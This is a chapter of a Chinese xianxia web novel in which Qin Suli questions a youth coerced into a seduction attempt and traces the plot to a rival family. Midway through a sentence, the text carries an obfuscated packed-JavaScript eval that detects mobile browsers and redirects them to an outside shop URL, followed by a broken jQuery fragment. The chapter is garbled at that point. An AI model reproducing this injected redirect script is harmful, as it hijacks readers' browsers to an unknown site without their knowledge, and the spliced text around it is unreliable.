月华如练,万里无云。

    裴知亦立在檐下,冷白的面容被月光洗得愈发清冽,他的眼尾天然带着一抹极淡的绯色,衬得那双红宝石似的眼眸愈发摄人。

    他回忆着方才秦素理略带畅快的背影,心底也因她的喜悦而涌上暖意。素理还是三百年前那个拎着剑追得那些辱骂他的人满山跑的姑娘,隐忍躲藏和曲意逢迎,从来都不是她的风格。

    不知怎的,胸口涌起一股陌生的焦灼,他突然很想见她,这一刻的思念竟然比三百年的分离还要浓厚。

    他放任自己神识无意识地游走,在接触到她的院落时又骤然止步。

    他不能如此窥探她。

    他控制着神识绕着那个小院徘徊不去,仿佛这样就能离她更近一些。

    夜风拂过池面,蝉鸣断续,水波轻漾。裴知亦紧绷了一天的心弦在这静谧里一点点松了下来。

    突然,一声刺耳的碎裂声从院中炸开。

    “滚开!”裴知亦从未听过秦素理这般厉声怒喝,“你们是想在仙人两届的首座后院塞满陶家的人吗?”

    裴知亦倏然抬眼,瞳仁骤缩,袍袖一卷便掠了出去。

    秦素理的卧房内一片狼藉,陶子游衣襟散乱地跌坐在地,碎瓷和冷茶溅了一地。

    秦素理立在一旁,眼底结了一层霜,脸上的肌肉紧绷着,周身的威压如山倾般碾向陶子游。

    裴知亦一瞬间明白了发生什么事,下颌线骤然收紧,本就轮廓分明的侧脸更加锋利。他反手抽剑,红眸中烧着炽烈的怒焰,剑尖直指瑟瑟发抖的陶子游。

    姜明泉闻声而至,被在场的情况惊地一顿,旋即反应过来,快步上前擎住了陶子游的双腕。

    秦素理胸膛剧烈起伏了几番,渐渐平静下来。她抬手,掌心轻轻覆上裴知亦握剑的指节,指腹在他紧绷的骨节上按了按:“放下剑吧。”

    裴知亦纹丝未动,仍旧冷冷地注视着陶子游,眼中风暴未息。

    秦素理微叹,手上稍加力道,将剑刃压低了几寸:“他还没能做什么。”

    姜明泉早已利落地将人束缚了起来:“师父,如何处置?”

    秦素理审视片刻,寒声道:“我有几句话要问他。”

    姜明泉颔首,攥着陶子游的发尾,毫不留情地向后一扯。

    陶子游的头颅被迫仰起,脖颈被生生拉直。

    “为什么要这么做?”秦素理垂眸看他,语气冷淡得可怕。

    “弟子...弟子是来请罪的。”陶子游急促喘息着,喉头咯咯作响。

    “别说废话。”秦素理指尖轻弹,声音愈发低沉,“如果你承认是被迫的,我还可以原谅你。但若现在还不说实话,我就只能废去你的修为,将你的罪名昭告仙界。”

    “我...”

    “不管是谁指使你,也不管他是怎么跟你说的,”秦素理直接打断了他,俯身逼近,“那人都是剥夺了你走正道的机会,”

    “他就是想毁了你。”秦素理一字一顿。

    陶子游的喉结剧烈上下滚动着,冷汗顺着脖颈流淌下来。

    终于,他的喉间挤出了几个沙哑的音节:“是...是我爷爷...非让我来的。”

    话音落下,他像是被抽走了最后一丝力气,脱力地喘息着。

    秦素理并不意外,神色不动地追问:“他没说为什么?”

    陶子游眼中一片灰败:“他说...试剑大会的路子已经走不通了,如果还想拜入您的门下,就得学云舒前辈的方法...”

    秦素理眉梢猛地跳了一下。

    这话说得语焉不详,裴知亦一下子没能明白他话中暗藏的含义。

    姜明泉却率先反应过来,手下猛地用力,硬生生截断了陶子游的话:“师父,要我去把陶成业抓回来吗?”

    秦素理没有回应,眼神仍死死盯着陶子游,眼中没了方才的自持:“你爷爷怎么会知道云舒的事的?”

    陶子游被两人陡变的脸色吓得打了个哆嗦,唇瓣抖了半天:“好像...好像是一个随从告诉他的。”

    秦素理的脑中闪过试剑大会上那抹黑色的身影。她阖了阖眸,有些疲惫地挥了挥手:“把他关起来,今晚的事不要声张,更不要惊动陶成业。”

    姜明泉颔首,一掌劈晕了陶子游,提着后领退出了房间。

    秦素理仍站在原处,一动不动,薄唇抿成一道毫无弧度的细线。

    裴知亦反复咀嚼着陶子游的话。

    他想起当初问起陆云舒入门的缘由,姜明泉只是笑而不谈。如今陶子游话里话外暗示自己如此献身是在复刻陆云舒的做法。

    难道...他看向秦素理,心头一沉。

    难道素理心悦陆云舒?可陆云舒那小子,不过是年少了些...难不成她就喜欢这么小的?

    不。裴知亦在心中摇了摇头。虽然他与素理多年未见,但她也不至于...

    可如果是真的呢?如果她真的是因为在情欲上怜惜陆云舒才收他为徒?他虽然是她的师兄,但也没有权力去干涉她的私情,即使她收徒这个行为有些奇怪,莫非是一些癖好...

    ...裴知亦心里一团乱麻,指尖无意识地在剑柄上摩挲着,想要开口却又觉得难以启齿。

    小的有什么好?懂什么是大道吗?能护得住身边人吗?如此稚气未脱...

    “师兄。”秦素理清朗的声音响起,她歪过头来,有些疑惑地打量着裴知亦,“想什么呢?”

    “...没什么。”裴知亦别开脸,有些不自在地抿了抿干涩的唇。

    秦素理将他那副欲言又止的样子尽收眼底,愣了一瞬,随即瞪大了眼,声音随着胸腔的剧烈起伏而发颤:“天呐师兄!我在你心里居然是这样的人吗?”

    “当然不是,”裴知亦脱口而出,又自知失言,匆忙改口,“我没那么想。”

    “师父!”

    陆云舒的皂靴底碾过青石板砖,每一步都踏得沉闷有力。他强忍着怒气跨进门槛:“师姐已将方才之事告知弟子,弟子也把您早上吩咐的事情查清楚了。”

    他的视线扫到一旁的裴知亦,脚步微顿,怒气稍敛,规规矩矩行了一礼:“师叔。”

    裴知亦侧目,没有应声。

    “坐吧。”秦素理摆了摆手,“怎么样。”

    “正如师父所料,那人并非陶家本家子弟。弟子暗中搜查了此人的住所和行踪,发现他一直与时家暗中通信。”陆云舒眼底似有火苗跳动,“弟子猜测此人应该是受时家的指使做事。”

    秦素理闭目,沉默良久才开口:“时钦明还在青云吗?”

    “弟子已和谭长老通了信,这几日时钦明一直在青云,并未与外人或时家的人来往。”陆云舒将截获的信件递给秦素理,“这些密信都是直送时家本家,应当与时钦明没有关系。”

    秦素理接过信笺,指尖捻过封口。

    裴知亦微垂眼帘,余光落在陆云舒身上。这少年眉目清俊,颧骨偏高,笑起来本该有些张扬,此刻却绷得紧紧的。

    秦素理不禁揉了揉眉心,叹了口气:“云舒,把你的来历同你师叔讲讲吧。”

    陆云舒一怔,随即点头。他唇角扯起,略带了几分自嘲:“弟子最初并非青云弟子,只是天山派的一个外门弟子。”

    见裴知亦面露迷茫,陆云舒坦然一笑:“师叔没听说过也正常,天山派不过是个小门派。当时弟子无意间撞见派主暗中汲取外门弟子的功力来强化自己,便找准时机报告了青云。”

    “这件事当时天山派内门几乎人人知情,结果唯独云舒一人捅破了此事。”秦素理

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769211|209849||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    适时补充。

    裴知亦眉梢微动,看向陆云舒的眼神不自觉柔和了些。

    烛火在秦素理瞳孔中闪烁,她陷入了回忆:“当时青云将云舒作为证人重点保护了起来,但当天晚上,云舒就出现在了我的房内。”

    陆云舒抿了抿唇,耳根隐隐发红。见他难以启齿,秦素理便继续说道:“我当时动了杀念,却发现他的眼中满是恐惧。”秦素理顿了顿,目光从回忆中抽离,“就和今日的陶子游一般。”

    “仔细询问了才得知,是一伙神秘人拿天山派其余外门弟子的性命胁迫他,逼他当晚。”秦素理别开了眼神,有些不自在。“...献身于我。”

    裴知亦略过了这段不堪回首的往事,径直追问:“他们为什么这么做?”

    秦素理低头,拇指摩挲着信件:“直到今日我们也没能查清那些神秘人的身份。但我后来推测,那些人是想借云舒狂悖犯上之举,来贬损他证词的可信度,让我误以为云舒只不过是为了搏一个一步登天的机会才诬告自己的宗门,或者最好我盛怒之下直接杀了云舒。”

    “是,”陆云舒声音低哑,“那帮人定是为了保全天山派才出此损招,多亏师父...手下留情。”

    “还好我控制住了情绪,恢复了理智,毕竟当时我真的很生气。”秦素理不自在地扶了扶发簪,“得知真相后,我当即宣布收云舒为徒,那伙人此后便再未现身。”

    “所以天山派...”裴知亦抬眼。

    “已经铲除殆尽了,”陆云舒嘴角勾起一丝极淡的弧度。

    “那么时家是误以为云舒当年靠...”裴知亦斟酌着措辞,“才被收入门下,故而才会教唆陶子游也这么做?”

    “不,”秦素理面色一点点冷了下来,“这才是关键所在。”

    陆云舒的下颌紧绷,指节扣在膝上:“当年的事,除我与师父、师姐外,无人知晓内情。旁人都以为我是因为举报有功才被收入师父门下。”

    裴知亦神色一凛:“除开你们三人,能得知此事来龙去脉的就只有...”

    “幕后之人。”陆云舒一拳砸在案上,再也压不住腾起的怒火。

    “沉住气。”秦素理安抚着他,“如果幕后之人真的是时家,为何他们要帮天山派掩盖罪证?”

    “或许他们本来就与天山派有勾结。”门扉吱呀一声,门外的姜明泉淡淡接上了秦素理的疑问,“陶子游已经严加看管起来了。”

    秦素理默然颔首:“时家的事暂且搁置,你们以为,陶家该怎么处置?”

    姜明泉嗤笑一声:“陶成业这个蠢货,如今仙界除宗派之外,能以家族为首崛起的也就只有时家了。陶家作为后起之秀,本就时时遭时家忌惮,他们可倒好,上赶着去听敌手的建议,巴不得自家赶紧暴毙。”

    “无论时家是不是当年的幕后真凶,如今设计陶家,无非是为了巩固自己的势力。”陆云舒深吸一口气,语气重归冷静,“陶成业那个老东西此刻怕还在做春秋大梦,以为明日一早便能得个仙首亲传孙儿。”

    姜明泉的话中暗含鄙夷:“方才弟子检查了陶子游身上的伤口,不像是在试剑大会上所伤,想来也是陶成业的手笔,真是个外强中干的废物。”

    闻言陆云舒连连皱眉,扬首提议:“师父,还是尽早拿下陶成业为好。”

    “不可。”秦素理眼中闪过一丝阴霾,“皇夫殿下是陶家的人,如果就这么废了殿下的本家,无异于与人界决裂。”

    “陛下是陛下,皇夫是皇夫,想来皇帝陛下能谅解吧。”陆云舒试探道。

    姜明泉摇了摇头:“陛下日前才得一女,帝后情笃。就算陛下能容许仙界拿人,只怕也要产生隔阂。”

    秦素理的脸上闪过一丝挣扎,最终缓缓吐出一口气:“先按兵不动吧。”